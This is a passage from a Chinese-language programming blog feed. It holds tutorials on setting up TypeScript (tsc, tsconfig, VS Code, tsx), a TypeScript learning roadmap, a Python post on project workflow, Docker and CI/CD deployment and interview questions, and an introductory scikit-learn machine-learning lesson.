定义 let user: { name: string; age: number }，试把 age 改成字符串看报错。
写一个返回 never 的 assertNever(x: never): never 函数。
用字面量联合定义 type Theme = "light" | "dark" | "system"，并写函数 applyTheme(t: Theme)。
对比 let n = 1 与 const n = 1 推断出的类型差异（用 VS Code 悬浮查看）。

01 · 环境搭建与第一个 TypeScript 程序

Sun, 27 Sep 2026 03:00:00 GMT

[!NOTE] 本篇目标：在你的电脑上跑通 TypeScript 工具链，写出第一个能被编译运行的 TS 文件，并建立对 tsconfig.json 的初步认识。

1. 安装 Node.js

TypeScript 编译器 tsc 本身是一个 Node.js 程序，所以第一步是装 Node。

# 查看是否已安装（建议 18+）
node -v
npm -v

没装的话去 nodejs.org 下载 LTS 版本即可。装好后 npm 也一并就绪。

2. 安装 TypeScript 编译器

推荐项目级安装（而非全局），这样不同项目能锁定不同版本：

# 在当前项目目录初始化并安装
npm init -y
npm install -D typescript

# 验证安装
npx tsc -v

npx tsc 会调用本地安装的 tsc。如果想全局装也可以 npm install -g typescript，但团队项目强烈建议走 devDependencies。

3. 第一个 TypeScript 程序

新建 hello.ts：

// hello.ts
function greet(name: string): string {
  return `你好，${name}！`;
}

const message = greet("TypeScript");
console.log(message);

注意 name: string 和 : string 这两处类型注解——这就是 TS 比 JS 多的部分。

编译它：

npx tsc hello.ts

会生成一个 hello.js（类型注解被擦除后的纯 JS）。运行：

node hello.js
# 输出：你好，TypeScript！

试着改错传参，体验类型检查：

greet(123); // ❌ 报错：Argument of type 'number' is not assignable to parameter of type 'string'

不用运行，编译器就拦住了你——这就是 TS 的价值。

4. tsconfig.json 初探

每次手动指定文件太麻烦。用配置文件让 tsc 自动处理整个项目：

npx tsc --init

这会生成 tsconfig.json。几个最关键、初学者先记住的字段：

{
  "compilerOptions": {
    "target": "ES2020",      // 编译成哪个 JS 版本
    "module": "CommonJS",    // 模块系统（Node 用 CommonJS，前端用 ESNext）
    "outDir": "./dist",      // 编译产物输出目录
    "rootDir": "./src",      // 源码根目录
    "strict": true,          // 开启全部严格检查（强烈建议）
    "esModuleInterop": true, // 兼容默认导入（import fs from 'fs'）
    "skipLibCheck": true     // 跳过 .d.ts 内部检查，提速
  },
  "include": ["src/**/*"],   // 参与编译的文件
  "exclude": ["node_modules", "dist"]
}

之后直接 npx tsc 就能编译整个 src 目录到 dist。

第 13 篇会逐字段拆解 tsconfig，这里先混个脸熟。

5. 配置 VS Code

VS Code 对 TS 开箱即用（内置 TS 语言服务）。建议：

状态栏右下角确认 TS 版本是项目本地版本（点版本号可切换），避免用到全局旧版。
开启 strict 后，编辑器会实时标红类型错误，不用等编译。
装官方扩展 TypeScript + JavaScript Nightly（可选，抢先体验新版特性）。

6. 让开发更顺手

每篇都手敲 tsc 太累，把常用命令写进 package.json：

{
  "scripts": {
    "build": "tsc",           // 编译
    "watch": "tsc -w",        // 监听改动自动编译
    "start": "node dist/index.js"
  }
}

开发时直接 npm run watch 后台编译，npm start 跑。

如果想跳过编译直接跑 TS（开发调试更爽），用 tsx：

npm install -D tsx
npx tsx src/index.ts   # 直接运行 TS，无需先 tsc

tsx 基于 esbuild，速度极快，是 ts-node 的现代替代品。

小结

TS 工具链 = Node + tsc + tsconfig + IDE。
npx tsc file.ts 单文件编译；tsconfig.json + tsc 项目级编译。
strict: true 是安全底线，别关。
开发期用 tsx 直接跑 TS，省去编译步骤。

练习

新建一个项目，安装 TypeScript，写函数 sum(a: number, b: number): number 并返回和，编译运行验证。
故意把 sum("1", 2) 传进去，观察 tsc 报什么错。
用 tsc --init 生成 tsconfig，把 outDir 改成 ./build 后编译，确认产物去了哪里。
装 tsx，用 npx tsx 直接运行你的 TS 文件。

TypeScript 从零基础到精通 · 路线总览

Sun, 27 Sep 2026 02:00:00 GMT

[!NOTE] 本系列共 15 篇文章，面向希望从零系统掌握 TypeScript 的前端/全栈开发者，也适合已会用 JS、想把类型系统真正用顺的工程师。

学习路径：环境 → 基础类型 → 接口/函数 → 类/泛型 → 条件类型 → 联合与守卫 → 类型体操 → 装饰器 → 模块/声明 → 工程化 → 框架集成

为什么要学 TypeScript

JavaScript 是动态弱类型语言，变量在运行时才能确定类型，这在小项目里很灵活，但在中大型项目和团队协作中会放大两类问题：

错误发现太晚：拼写错误、传参类型不对、undefined 访问，往往要等到浏览器跑起来才暴露。
可读性差、重构成本高：没有类型标注，函数接收什么、返回什么都不清楚，改一处要全文搜索。

TypeScript 是 JavaScript 的类型超集——任何合法的 JS 都是合法的 TS，但它额外提供一套静态类型系统。它在编译期做类型检查，最终编译回纯 JS 运行。类型信息在运行时会被擦除，所以不会带来运行时负担。

一句话：TypeScript 给你的代码加了"编译期的说明书 + 纠错器"，IDE 自动补全、跳转、重构体验也直接起飞。

本路线覆盖什么

阶段	主题	你能学到
01	环境搭建	安装 tsc、写第一个 TS、tsconfig 初探、npm 脚本
02	基础类型	原始类型、数组/元组、enum、any/unknown/never/void、类型推断
03	接口与类型别名	interface、可选/只读、索引签名、interface vs type
04	函数类型	函数类型表达式、重载、this 类型
05	类与面向对象	修饰符、继承、抽象类、implements、存取器
06	泛型基础	泛型函数/接口/类、约束与默认值
07	泛型进阶与工具类型	条件类型、infer、内置工具类型、映射类型
08	联合与类型守卫	联合收窄、可辨识联合、自定义守卫
09	类型体操入门	模板字面量、递归类型、手写 MyPick 等
10	装饰器	类/方法/属性装饰器、装饰器工厂
11	模块与命名空间	ES Module、动态 import、模块解析
12	声明文件	.d.ts、declare、@types、为无类型库补类型
13	工程化	tsconfig 全解、strict 族、project references
14	框架集成实战	React / Vue 3 / Node 中的 TS 实践

知识地图

TypeScript 从零基础到精通

├── 环境层（01）
│   └── Node / tsc / tsconfig / IDE
├── 类型基础（02-03）
│   ├── 基础类型：string number boolean array tuple enum unknown never
│   └── 结构化类型：interface / type / 交叉 &
├── 函数与类（04-05）
│   ├── 函数类型、重载、this
│   └── class、修饰符、abstract、implements
├── 泛型与类型编程（06-09）
│   ├── 泛型函数/约束/默认值
│   ├── 条件类型 + infer + 映射类型
│   ├── 联合收窄 + 类型守卫
│   └── 类型体操（手写工具类型）
├── 进阶特性（10-12）
│   ├── 装饰器
│   ├── 模块 / 命名空间
│   └── 声明文件 .d.ts
└── 工程与实战（13-14）
    ├── tsconfig 工程化 / monorepo
    └── React / Vue / Node 集成

前置要求

熟悉 JavaScript（变量、函数、对象、Promise、ES Module）。不懂 JS 直接上 TS 会比较吃力。
本机安装 Node.js（建议 18+） 和 VS Code。
一点命令行基础（npm install、node）。

如果你还不熟 JS，建议先补一下 ES6+ 语法再回来。

怎么读这套路线

顺序读：前 6 篇是地基，建议一篇不落。
动手敲：每篇的代码不要复制粘贴，自己敲一遍、用 tsc 编译看报错，类型系统的直觉是"被报错喂出来的"。
第 9 篇可缓读：类型体操偏进阶，初学先理解思路，不必钻牛角尖。
当速查：熟悉的部分（如 02、13）可直接当字典查。

小结

TypeScript 不是"给 JS 加难度"，而是用少量类型标注换取大量的安全性和可维护性。本路线从环境到框架集成，目标是让你不仅能写 TS，更能把类型系统当成"设计工具"来用。

下一篇我们从环境搭起，写出并运行你的第一个 TypeScript 程序。

项目实战、部署与面试

Fri, 18 Sep 2026 08:30:00 GMT

[!NOTE] 本文对应仓库 Day91~100，也是 Python 学习路线的收官之作。学完前面 14 篇的语法、数据结构、Web、爬虫、数据分析、机器学习后，本篇聚焦如何把知识落地成项目、工程化部署，并通过面试检验，最后总结整个学习路线与进阶方向。

一、综合项目实战思路

学习的终点是做出完整项目。项目是最好的简历，也是把碎片知识串成体系的过程。

方向	项目	涉及技术栈
Web 后端	博客系统 / 电商后台 / 在线商城	Django + DRF + MySQL + Redis
爬虫	新闻聚合 / 比价机器人 / 数据采集平台	requests + Scrapy + MongoDB
数据分析	销售数据分析 / 用户行为看板	pandas + NumPy + matplotlib
自动化	办公自动化 / 定时任务 / 邮件报表	openpyxl + schedule + smtplib
机器学习	房价预测 / 推荐系统 / 情感分析	scikit-learn + pandas
全栈	前后端分离的完整应用	Django API + Vue/React

项目开发的完整流程

1. 需求分析     →  明确要做什么、给谁用、核心功能
2. 技术选型     →  用什么框架、数据库、部署方案
3. 架构设计     →  模块划分、数据库设计、接口设计
4. 环境搭建     →  Git 仓库、虚拟环境、依赖管理
5. 迭代开发     →  小步快跑，先跑通主流程（MVP）再完善
6. 测试         →  单元测试、集成测试
7. 部署上线     →  服务器/Docker/云平台
8. 文档与复盘   →  README、部署文档、经验总结

[!TIP] MVP 思维（最小可行产品）：别一上来追求完美。先用最简单的方式把核心流程跑通（哪怕丑、哪怕手动），再逐步优化。很多项目死于"想得太大、迟迟不动手"。做完一个能跑的小项目，胜过看十篇教程。

实战建议：做一个博客系统

以"个人博客系统"为例串联全系列知识：
- Django 搭后端 + 模板渲染页面（Web 篇）
- MySQL 存文章、DRF 提供 API（数据库/DRF 篇）
- 后台用 Admin 管理，加用户认证（Django 篇）
- 前端 ECharts 展示访问统计（可视化篇）
- 用爬虫抓取技术资讯做"推荐阅读"（爬虫篇）
- pandas 分析热门文章、生成周报（数据分析篇）
- Docker 打包，Nginx + Gunicorn 部署（本篇）
一个项目 = 一次全系列知识的综合运用

二、工程化规范

写出"能跑的代码"和"专业的代码"之间，隔着工程化规范。

1. 虚拟环境与依赖管理

# venv（标准库自带）
python -m venv venv                   # 创建虚拟环境
source venv/bin/activate              # 激活（Linux/Mac）
venv\Scripts\activate                 # 激活（Windows）
deactivate                            # 退出

# 依赖管理
pip freeze > requirements.txt         # 导出依赖
pip install -r requirements.txt       # 安装依赖

# Poetry（现代化工具，推荐）
poetry init                           # 初始化项目
poetry add django requests            # 添加依赖（自动管理版本）
poetry install                        # 安装

[!WARNING] 每个项目必须用独立虚拟环境！不要往全局 Python 装包。不同项目依赖版本常冲突，虚拟环境隔离依赖，保证项目在任何机器上都能用 requirements.txt/poetry.lock 复现，这是团队协作的基础。

2. 版本控制（Git）

git init                              # 初始化仓库
git add .                             # 添加到暂存区
git commit -m "feat: 添加用户登录"    # 提交（规范提交信息）
git branch feature-x                  # 创建分支
git checkout feature-x                # 切换分支
git merge feature-x                   # 合并分支
git push origin main                  # 推送到远程
git pull                              # 拉取更新

提交信息规范（Conventional Commits）：
feat:     新功能
fix:      修复 bug
docs:     文档
style:    格式（不影响逻辑）
refactor: 重构
test:     测试
chore:    构建/工具

.gitignore 必备：venv/、__pycache__/、*.pyc、.env、db.sqlite3、.idea/、.vscode/

3. 代码质量与规范

# 代码格式化与检查工具
pip install black flake8 pylint

black .                    # 自动格式化（统一风格）
flake8 .                   # 检查代码规范（PEP8）

Python 代码规范要点（PEP8）：
- 缩进用 4 个空格（不用 Tab）
- 变量/函数用小写下划线 user_name、get_data
- 类用大驼峰 UserProfile
- 常量全大写 MAX_SIZE
- 函数/模块写文档字符串（docstring）
- 单行不超过 79/120 字符
- import 分行、按标准库/第三方/本地分组

4. 测试

# 单元测试（unittest 或 pytest）
# test_calculator.py
import pytest
from calculator import add

def test_add():
    assert add(2, 3) == 5            # 断言
    assert add(-1, 1) == 0

@pytest.mark.parametrize("a,b,expected", [(1,1,2), (0,0,0), (-1,-1,-2)])
def test_add_cases(a, b, expected):  # 参数化测试
    assert add(a, b) == expected

pytest                    # 运行所有测试
pytest -v                 # 详细输出
pytest --cov=mymodule     # 覆盖率报告

测试类型：
单元测试：测单个函数/类（最基础，写得多）
集成测试：测多个模块协作
端到端测试：模拟用户完整流程
原则：核心逻辑、易错边界一定要测；测试是重构的底气

三、项目部署

1. Docker 容器化部署

Docker 把应用和依赖打包成镜像，"一次构建，到处运行"，彻底解决"在我机器上能跑"的问题。

# Dockerfile（Python Web 应用示例）
FROM python:3.11-slim              # 基础镜像

WORKDIR /app                       # 工作目录

COPY requirements.txt .            # 先复制依赖清单
RUN pip install --no-cache-dir -r requirements.txt   # 装依赖（利用缓存层）

COPY . .                           # 复制项目代码

EXPOSE 8000                        # 暴露端口

CMD ["gunicorn", "mysite.wsgi:application", "-w", "4", "-b", "0.0.0.0:8000"]

# Docker 常用命令
docker build -t myapp:1.0 .              # 构建镜像
docker run -d -p 8000:8000 myapp:1.0     # 运行容器（后台，端口映射）
docker ps                                # 查看运行中的容器
docker logs <container_id>               # 查看日志
docker-compose up -d                     # 用编排文件启动多容器

# docker-compose.yml（多容器编排，如 Web + 数据库 + Redis）
version: "3.8"
services:
  web:
    build: .
    ports:
      - "8000:8000"
    depends_on:
      - db
    environment:
      - DATABASE_URL=postgres://user:pwd@db:5432/mydb
  db:
    image: postgres:15
    environment:
      POSTGRES_PASSWORD: pwd
  redis:
    image: redis:7

[!TIP] Dockerfile 优化：把 COPY requirements.txt 和 RUN pip install 放在 COPY . . 之前，这样只要依赖不变，就能复用缓存层，重新构建飞快。用 -slim 基础镜像减小体积，--no-cache-dir 不缓存 pip 包。

2. 传统服务器部署

典型生产架构：
用户 → Nginx（反向代理 + 静态文件 + SSL + 负载均衡）
         └→ Gunicorn/uWSGI（WSGI 服务器，多 worker）
              └→ Django/Flask 应用
                   ├→ MySQL/PostgreSQL（数据库）
                   └→ Redis（缓存/Session）

# 部署步骤（云服务器）
1. 买服务器（阿里云/腾讯云/AWS），装 Python、Nginx、数据库
2. Git 拉代码，创建虚拟环境，pip install -r requirements.txt
3. 配置环境变量（SECRET_KEY、数据库连接，用 .env + python-dotenv）
4. python manage.py migrate && collectstatic
5. Gunicorn 启动应用（用 systemd/supervisor 守护，开机自启、崩溃重启）
6. Nginx 反向代理 + 配 HTTPS（Let's Encrypt 免费证书）
7. 配置定时备份数据库、日志监控

3. CI/CD 自动化部署

# .github/workflows/deploy.yml（GitHub Actions）
name: Deploy
on:
  push:
    branches: [main]              # 推送到 main 触发

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-python@v4
        with:
          python-version: "3.11"
      - run: pip install -r requirements.txt   # 装依赖
      - run: pytest                            # 跑测试
      - run: ./deploy.sh                       # 部署脚本

CI/CD 概念：
CI（持续集成）：代码提交后自动构建 + 测试，尽早发现问题
CD（持续部署）：测试通过后自动部署到服务器
工具：GitHub Actions、GitLab CI、Jenkins
好处：自动化、减少人工失误、快速迭代、可回滚

4. 云平台部署（简单快捷）

不想运维服务器？用 PaaS 平台一键部署：
- Vercel / Netlify：静态站、前端、Next.js（免费额度）
- Railway / Render / Heroku：Python Web 应用（简单）
- 阿里云函数计算 / 腾讯云 SCF：Serverless，按调用付费
- Docker 镜像可推到各大云容器服务
适合个人项目、快速上线，省去服务器运维

四、Python 高频面试题

语言基础

Q：列表 list 和元组 tuple 的区别？ A：list 可变（能增删改）、用 []；tuple 不可变、用 ()、可作字典键、性能略高、更安全。

Q：深拷贝和浅拷贝？ A：浅拷贝（copy.copy/切片）只复制顶层，嵌套对象仍是引用；深拷贝（copy.deepcopy）递归复制所有层级，完全独立。赋值 b=a 只是引用同一对象。

Q：is 和 == 的区别？ A：== 比较值是否相等；is 比较是否是同一对象（内存地址）。判断 None 用 is None。

Q：可变默认参数的坑？ A：def f(x=[]) 的默认列表在函数定义时创建，多次调用共享同一列表，导致累积。正解：def f(x=None): x = x or []。

Q：GIL 是什么？ A：全局解释器锁，同一时刻只有一个线程执行 Python 字节码。导致多线程无法利用多核做 CPU 密集计算。CPU 密集用多进程，IO 密集用多线程/异步。

进阶与框架

Q：装饰器的原理？ A：装饰器是接收函数返回函数的高阶函数，@decorator 等价于 func = decorator(func)，在不改原函数代码的前提下增强功能（如日志、计时、权限校验）。

Q：生成器和迭代器的区别？ A：迭代器实现 __iter__ 和 __next__；生成器是特殊的迭代器，用 yield 惰性产生值，节省内存，适合处理大数据流。

Q：Django 的 MVT 是什么？ A：Model（数据/ORM）、View（业务逻辑）、Template（展示）。Django 的 View 相当于 MVC 的 Controller，框架负责调度。

Q：ORM 的 N+1 问题怎么解决？ A：查 N 条记录，每条访问关联对象又查一次库（共 N+1 次）。用 select_related（JOIN，一对多）和 prefetch_related（分查合并，多对多）预加载。

数据处理

Q：loc 和 iloc 区别（pandas）？ A：loc 按标签选（含末尾），iloc 按位置选（不含末尾）。

Q：如何处理缺失值？ A：dropna 删除、fillna 填充（均值/中位数/前值）、或标记为单独类别。视数据量和业务决定。

Q：过拟合和欠拟合？ A：过拟合=训练好测试差（模型太复杂学到噪声），欠拟合=都差（模型太简单）。过拟合用正则化/加数据/降复杂度解决。

五、学习路线总结与进阶方向

全系列知识地图回顾

Python 学习路线（100 天）完整脉络：
基础篇    语法 → 数据结构 → 函数/OOP → 文件 → 正则/Linux     [01-07]
应用篇    办公自动化 → 数据库 → Django → DRF → 爬虫           [05,08-11]
数据篇    NumPy/pandas → 可视化 → 机器学习                    [12-14]
工程篇    项目实战 → 部署 → 面试（本篇）                      [15]

三条主要职业赛道

赛道	核心技术	岗位
Web 后端	Django/Flask + DRF + MySQL + Redis + Docker	后端开发工程师
爬虫/数据	requests/Scrapy + pandas + 可视化	爬虫工程师、数据分析师
数据科学/AI	NumPy/pandas + 机器学习 + 深度学习	数据科学家、算法工程师

进阶学习方向

Web 后端进阶：
- 微服务架构、消息队列（RabbitMQ/Kafka）
- 缓存策略（Redis 深入）、数据库优化、分库分表
- 异步框架（FastAPI）、高并发、性能调优
- Kubernetes 容器编排、云原生

数据/AI 进阶：
- 深度学习（PyTorch/TensorFlow）
- 自然语言处理（NLP）、计算机视觉（CV）
- 大语言模型（LLM）、RAG、AI 应用开发
- 大数据（Spark、Hadoop、Flink）

通用工程能力：
- 数据结构与算法（LeetCode 刷题）
- 设计模式、系统设计
- 计算机基础（操作系统、网络、数据库原理）

学习方法建议

1. 动手为王：编程是"练"出来的，不是"看"出来的。每个知识点都敲代码。
2. 项目驱动：做完整项目串联知识，项目是最好的学习和展示方式。
3. 刻意练习：反复练薄弱环节，跳出舒适区。
4. 善用文档：官方文档是最权威的学习资料，养成查文档习惯。
5. 读优秀源码：看开源项目怎么组织代码，学工程实践。
6. 坚持输出：写博客、做笔记、讲给别人听（费曼学习法）。
7. 加入社区：GitHub、技术论坛、交流群，遇到问题不孤单。
8. 持续学习：技术更新快，保持好奇心和终身学习。

常见问题 Q&A

Q1：学完这 15 篇能找工作了吗？ A：能打下扎实的基础，但找工作还需要：① 至少 2-3 个完整项目（放 GitHub，写清 README）；② 刷题（LeetCode，尤其算法岗）；③ 针对目标岗位深入某一方向（Web/数据/AI）；④ 准备面试（八股 + 项目讲解 + 手撕代码）。基础 + 项目 + 刷题 + 面试准备，四者齐备才有竞争力。

Q2：Web、爬虫、数据分析、AI，该主攻哪个方向？ A：看兴趣和市场需求。Web 后端岗位多、需求稳定、适合入门就业；数据分析入门门槛相对低、各行业都需要；爬虫是细分技能，常和数据分析/后端结合；AI/算法前景好、薪资高，但门槛高（需数学 + 大量实践 + 常要研究生学历）。建议先广后深：全面学完基础，再选 1-2 个方向深耕。

Q3：项目该做多大的？怎么放进简历？ A：不用追求"大型"，完整、有亮点、能讲清楚就行。选一个解决实际问题的项目，用规范的技术栈，放 GitHub（README 写清功能、技术、部署、截图）。简历里突出：用了什么技术、解决了什么问题、有什么量化成果（如"性能提升 50%""日处理 10 万条数据"）。

Q4：Docker 是必须学的吗？ A：现在强烈建议学。Docker 已成部署标配，解决环境不一致问题，招聘常要求。基础用法（写 Dockerfile、build/run、docker-compose）不难，几天能上手，对部署和协作帮助极大。

Q5：如何持续保持学习？ A：① 订阅优质技术源（官方文档、技术周刊、公众号）；② 关注 GitHub Trending 看热门项目；③ 定个小目标（每月学个新技术/做个小项目）；④ 写博客输出倒逼输入；⑤ 参与开源；⑥ 加技术社区交流。保持动手，别只收藏不学。

复习卡片

[!TIP] 项目实战与工程化速记

项目流程：需求 → 选型 → 设计 → 环境 → MVP 迭代 → 测试 → 部署 → 文档复盘

虚拟环境：每项目独立环境，requirements.txt/Poetry 管理依赖，可复现

Git 规范：分支开发、规范提交信息（feat/fix）、.gitignore 排除敏感和临时文件

代码质量：black 格式化、flake8 检查、PEP8 规范、docstring

测试：pytest 单元测试、参数化、覆盖率；核心逻辑必测

Docker：Dockerfile 分层优化（依赖在前代码在后）、docker-compose 编排多容器

部署架构：Nginx（反代+静态+SSL）→ Gunicorn → 应用 → DB/Redis

CI/CD：GitHub Actions 自动测试+部署，减少人工失误

面试重点：list/tuple、深浅拷贝、GIL、装饰器、生成器、MVT、N+1、过拟合

求职四件套：扎实基础 + 完整项目（GitHub）+ 刷题 + 面试准备

系列收官

恭喜你走完 Python 学习路线的全部 16 篇！🎉

从基础语法到数据结构，从函数与面向对象到文件处理，从办公自动化到正则与 Linux，从语言进阶到数据库，从 Django/DRF 到网络爬虫，从 NumPy/pandas 到数据可视化，再到机器学习，最终落地到项目实战与工程化部署——你已经系统地走完了 Python 从入门到能独立开发完整项目的成长路径。

[!NOTE] 编程之路，动手为王。 这 16 篇文章给你的是地图，真正的旅程要靠你亲手敲下的每一行代码、做出的每一个项目、踩过的每一个坑。愿你带着这份地图，选定方向，持续精进，做出属于自己的作品。

学习路线到此圆满结束，但你的 Python 之旅才刚刚开始。

[!TIP] 🎓 恭喜完成全系列学习！ 建议回顾 Python 学习路线总览温故知新，或前往合集页查看全部文章索引。选定一条赛道（Web 后端 / 数据分析 / AI），做 2-3 个完整项目，开始刷题准备面试吧！

机器学习入门

Fri, 18 Sep 2026 08:00:00 GMT

[!NOTE] 本文对应仓库 Day81~90：机器学习基础、经典算法（kNN/决策树/回归/SVM/集成学习/聚类/降维）、模型评估与调优、神经网络初步。机器学习让程序从数据中自动学习规律，是人工智能的核心，也是数据分析的进阶方向。

一、机器学习基础

什么是机器学习

机器学习（Machine Learning）让计算机从数据中自动学习规律，无需显式编程，用学到的模型对新数据做预测。

传统编程：规则 + 数据 → [程序] → 答案
机器学习：数据 + 答案 → [训练] → 规则（模型）→ 预测新数据的答案

三大类机器学习

类型	特点	典型算法	应用
监督学习	有标签（知道正确答案）	kNN、决策树、回归、SVM、随机森林	分类、预测
无监督学习	无标签（自己找规律）	KMeans、层次聚类、PCA	聚类、降维
强化学习	试错 + 奖惩反馈	Q-Learning、DQN	游戏、机器人

监督学习细分：
- 分类（Classification）：预测离散类别（垃圾邮件/正常，猫/狗）
- 回归（Regression）：预测连续数值（房价、股价、温度）

机器学习工作流程

1. 收集数据      →  爬虫/数据库/公开数据集
2. 数据预处理    →  清洗、缺失值、编码、归一化、特征工程
3. 划分数据集    →  训练集 / 验证集 / 测试集
4. 选择模型      →  根据问题类型选算法
5. 训练模型      →  fit(X_train, y_train)
6. 评估模型      →  准确率/精确率/召回率/混淆矩阵
7. 调优          →  超参数调优、交叉验证、特征选择
8. 部署预测      →  predict(X_new)

二、scikit-learn 使用范式

scikit-learn（sklearn）是最主流的机器学习库，API 高度统一。

pip install scikit-learn

# 统一的 API 范式（所有模型都一样！）
from sklearn.model_selection import train_test_split

# 1. 加载数据（以鸢尾花为例）
from sklearn.datasets import load_iris
data = load_iris()
X = data.data          # 特征（输入）
y = data.target        # 标签（输出）

# 2. 划分训练集和测试集
X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.3, random_state=42, stratify=y
)
# test_size=0.3：30% 做测试；random_state：可复现；stratify：保持类别比例

# 3. 创建模型
from sklearn.neighbors import KNeighborsClassifier
model = KNeighborsClassifier(n_neighbors=5)

# 4. 训练（fit）
model.fit(X_train, y_train)

# 5. 预测（predict）
y_pred = model.predict(X_test)

# 6. 评估（score）
print(model.score(X_test, y_test))    # 准确率

[!TIP] sklearn 所有模型都遵循 fit() 训练 → predict() 预测 → score() 评估 的统一接口。换模型只需换一行 import + 实例化，其余流程完全不变。这种一致性是 sklearn 好用的关键。

数据预处理

from sklearn.preprocessing import StandardScaler, MinMaxScaler, LabelEncoder, OneHotEncoder

# 标准化（均值0方差1，适合大多数算法）
scaler = StandardScaler()
X_train = scaler.fit_transform(X_train)   # 训练集 fit + transform
X_test = scaler.transform(X_test)         # 测试集只 transform（用训练集的参数！）

# 归一化（缩放到 [0,1]）
MinMaxScaler().fit_transform(X)

# 类别特征编码
LabelEncoder().fit_transform(["男", "女", "男"])        # → [1, 0, 1]（有序）
OneHotEncoder(sparse_output=False).fit_transform([["红"], ["蓝"]])  # 独热（无序）

[!WARNING] 数据泄漏（Data Leakage）警告：预处理（标准化/归一化）必须先划分训练测试集，再分别处理。测试集只能用 transform()（复用训练集的均值方差），绝不能 fit_transform()，否则测试集信息泄漏到训练，评估虚高。

三、监督学习算法

1. kNN（K 近邻）

原理：物以类聚。看新样本最近的 K 个邻居，投票决定类别（分类）或取平均（回归）。

from sklearn.neighbors import KNeighborsClassifier

knn = KNeighborsClassifier(n_neighbors=5)   # K=5
knn.fit(X_train, y_train)
knn.predict([[5.1, 3.5, 1.4, 0.2]])

# K 值选择：太小易过拟合（受噪声影响），太大易欠拟合（边界模糊）
# 通常取奇数（避免平票），用交叉验证选最优 K

kNN 特点：
✅ 简单、无需训练（惰性学习）、天然支持多分类
❌ 预测慢（要算所有距离）、对特征尺度敏感（必须先标准化）、高维失效
适用：小数据、低维、需要简单基线模型

2. 决策树

原理：一系列 if-else 判断，像玩"二十个问题"，通过信息增益/基尼系数选择最佳分裂特征。

from sklearn.tree import DecisionTreeClassifier, export_text

tree = DecisionTreeClassifier(max_depth=3, criterion="gini")
tree.fit(X_train, y_train)

# 查看决策规则
print(export_text(tree, feature_names=data.feature_names))

# 特征重要性
print(tree.feature_importances_)

决策树特点：
✅ 可解释性强（能画出树）、不用标准化、能处理数值和类别
❌ 易过拟合（需限制 max_depth / min_samples_split）
关键参数：max_depth（最大深度）、min_samples_split（分裂最小样本）
         criterion（gini 基尼 / entropy 信息熵）

3. 线性回归与逻辑回归

# 线性回归（预测连续值，如房价）
from sklearn.linear_model import LinearRegression
reg = LinearRegression()
reg.fit(X_train, y_train)
print(reg.coef_)        # 系数（权重）
print(reg.intercept_)   # 截距
# 方程：y = w1*x1 + w2*x2 + ... + b

# 逻辑回归（尽管叫"回归"，其实是分类！输出概率）
from sklearn.linear_model import LogisticRegression
clf = LogisticRegression()
clf.fit(X_train, y_train)
clf.predict_proba(X_test)   # 输出各类别概率

[!NOTE] 逻辑回归是分类算法，不是回归！它用 Sigmoid 函数把线性输出压缩到 (0,1) 作为概率，常用于二分类（如是否点击、是否患病）。名字有迷惑性，别搞混。

过拟合 vs 欠拟合：
过拟合（Overfitting）：训练集很好，测试集差 → 模型太复杂，学到了噪声
                       解决：正则化、简化模型、增数据、交叉验证、剪枝
欠拟合（Underfitting）：训练集和测试集都差 → 模型太简单，没学到规律
                       解决：加特征、增复杂度、减正则化

4. 支持向量机（SVM）

原理：找一个间隔最大的超平面分隔不同类别，可用核函数处理非线性。

from sklearn.svm import SVC

svm = SVC(kernel="rbf", C=1.0, gamma="scale")   # rbf 高斯核（非线性）
svm.fit(X_train, y_train)
# kernel: linear（线性）/ rbf（高斯，最常用）/ poly（多项式）
# C: 惩罚系数（大→不容错易过拟合，小→容忍错易欠拟合）

5. 集成学习（随机森林 / Boosting）

集成学习：组合多个弱模型成一个强模型（"三个臭皮匠顶个诸葛亮"）。

# 随机森林（Bagging：多棵决策树并行投票，降方差防过拟合）
from sklearn.ensemble import RandomForestClassifier
rf = RandomForestClassifier(n_estimators=100, max_depth=None, random_state=42)
rf.fit(X_train, y_train)
print(rf.feature_importances_)     # 特征重要性

# GradientBoosting（Boosting：树串行，每棵纠正前一棵的错误，降偏差）
from sklearn.ensemble import GradientBoostingClassifier
gb = GradientBoostingClassifier(n_estimators=100, learning_rate=0.1)
gb.fit(X_train, y_train)

Bagging vs Boosting：
Bagging（随机森林）：并行训练多个模型投票，降方差，抗过拟合，可并行
Boosting（GBDT）：串行训练，后者纠正前者错误，降偏差，精度高，易过拟合
工业界更强：XGBoost / LightGBM / CatBoost（GBDT 的高效实现，竞赛常胜）

[!TIP] 随机森林是最实用的默认分类器——精度高、抗过拟合、能评估特征重要性、几乎不用调参。拿到分类任务，先用随机森林跑个基线准没错。追求极致精度上 XGBoost/LightGBM。

四、无监督学习

1. KMeans 聚类

原理：把数据分成 K 个簇，使簇内距离最小、簇间距离最大。

from sklearn.cluster import KMeans
from sklearn.datasets import make_blobs

X, _ = make_blobs(n_samples=300, centers=4, random_state=42)

kmeans = KMeans(n_clusters=4, random_state=42, n_init=10)
kmeans.fit(X)                      # 无需标签 y！
labels = kmeans.predict(X)         # 每个点的簇标签
print(kmeans.cluster_centers_)     # 各簇中心

# 用肘部法则选 K（画不同 K 的 inertia，找拐点）
inertias = [KMeans(n_clusters=k, n_init=10).fit(X).inertia_ for k in range(1, 10)]

KMeans 特点：
✅ 简单高效、易实现
❌ 需预先指定 K、对初始中心和异常值敏感、只适合凸形簇
肘部法则：inertia（簇内平方和）随 K 增大而减小，找"肘部"拐点即最优 K

2. PCA 降维

原理：把高维数据投影到低维，保留最大方差（信息），用于可视化、去噪、加速。

from sklearn.decomposition import PCA

pca = PCA(n_components=2)          # 降到 2 维
X_reduced = pca.fit_transform(X)   # 降维
print(pca.explained_variance_ratio_)   # 各主成分解释的方差比例
# 若前2个主成分解释 >85% 方差，说明降维损失小

降维好处：减少特征数（防维度灾难）、可视化（降到2/3维）、去噪、加速训练
PCA 是最常用的线性降维；非线性降维有 t-SNE（可视化神器）、UMAP

五、模型评估与调优

分类评估指标

from sklearn.metrics import (accuracy_score, precision_score, recall_score,
                             f1_score, confusion_matrix, classification_report)

y_true = [0, 1, 1, 0, 1]
y_pred = [0, 1, 0, 0, 1]

print(accuracy_score(y_true, y_pred))     # 准确率 = 对的/总数
print(precision_score(y_true, y_pred))    # 精确率 = TP/(TP+FP)  预测为正的里有多少真对
print(recall_score(y_true, y_pred))       # 召回率 = TP/(TP+FN)  真正的里找回多少
print(f1_score(y_true, y_pred))           # F1 = 精确率和召回率的调和平均
